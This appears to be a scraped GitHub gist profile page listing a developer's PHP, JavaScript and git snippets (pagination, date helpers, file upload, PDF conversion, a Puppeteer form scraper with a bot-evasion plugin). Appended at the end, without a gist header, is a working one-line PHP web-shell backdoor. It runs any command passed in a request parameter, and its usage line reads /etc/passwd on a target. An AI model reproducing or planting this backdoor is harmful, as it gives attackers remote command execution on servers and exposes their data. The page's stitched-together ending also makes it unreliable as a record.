Skip to content

Instantly share code, notes, and snippets.

View ngekoding's full-sized avatar
💭
#staysafe

Nur Muhammad ngekoding

💭
#staysafe
View GitHub Profile
@ngekoding
ngekoding / Paging.php
Created April 7, 2024 10:05
CodeIgniter 3 Paging Library
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
use ChangeCase\ChangeCase;
class Paging {
private $ci;
private $qb;
@ngekoding
ngekoding / last-sunday.php
Created December 14, 2023 03:20
Gets the last Sunday of the month for a given date
<?php
/**
* Gets the last Sunday of the month for a given date.
*
* @param string $dateString The input date in 'Y-m-d' format.
* @return string The last Sunday of the month in 'Y-m-d' format.
*/
function getLastSunday($dateString)
{
@ngekoding
ngekoding / example.html
Created September 16, 2023 02:09
Iframe Document Preview with Google Docs and Ms. Office
<!-- Using Google Docs -->
<iframe
src="https://docs.google.com/gview?embedded=true&url=YOUR-FILE-URL"
style="width: 100%; height: 500px"
>
<p>Your browser is not supported.</p>
</iframe>
<!-- Using Ms. Office -->
<iframe
@ngekoding
ngekoding / grouping-array.php
Created September 12, 2023 03:52
Grouping an array - specific case!
<?php
/**
* Grouping an array by `type` and `bank`,
* but when the `amount` is different for the same `name` (people)
* it must in another group
*/
echo '<pre>';
$array = [
@ngekoding
ngekoding / Pdf_version_converter.php
Created July 27, 2023 03:40
PDF version converter using Ghoshscript
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
use Symfony\Component\Process\Exception\ProcessFailedException;
use Symfony\Component\Process\Process;
class Pdf_version_converter
{
private $gsPath;
private $baseCommand = '%s -sDEVICE=pdfwrite -dCompatibilityLevel=%s -dPDFSETTINGS=/printer -dNOPAUSE -dQUIET -dBATCH -sOutputFile=%s %s';
@ngekoding
ngekoding / config.js
Last active June 23, 2022 03:40
Vue + CKEditor 5 Example
// @/helpers/ckeditor.js
const advanceEditorConfig = {
toolbar: {
items: [
'heading', '|', 'fontColor', 'highlight', '|',
'bold', 'italic', 'underline', 'strikethrough', '|', 'alignment', '|', 'numberedList',
'bulletedList', '|', 'indent', 'outdent', '|', 'link', 'insertTable', '|',
'pageBreak', '|', 'undo', 'redo'
],
},
@ngekoding
ngekoding / ci3-multiple-upload.php
Created January 19, 2022 07:09
Multiple file upload in CodeIgniter 3
<?php
$count = count($_FILES['files']['name']);
$successes = [];
$errors = [];
for ($i = 0; $i < $count; $i++) {
$_FILES['file']['name'] = $_FILES['files']['name'][$i];
$_FILES['file']['type'] = $_FILES['files']['type'][$i];
$_FILES['file']['tmp_name'] = $_FILES['files']['tmp_name'][$i];
@ngekoding
ngekoding / gh-pages.md
Created August 22, 2021 01:29 — forked from tunjos/gh-pages.md
Creating a clean gh-pages branch

Creating a clean gh-pages branch

cd /path/to/repo-name
git checkout --orphan gh-pages
git rm -rf .
echo "My GitHub Page" > index.html
git add .
git commit -a -m "Add index.html"
@ngekoding
ngekoding / g-form-automator.js
Last active February 10, 2022 08:47
Crawling google form response summary (analytics)
const puppeteer = require('puppeteer-extra');
const pluginStealth = require('puppeteer-extra-plugin-stealth');
const fs = require('fs');
const dayjs = require('dayjs');
puppeteer.use(pluginStealth());
// Change default locale to Indonesia
require('dayjs/locale/id');
dayjs.locale('id');
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>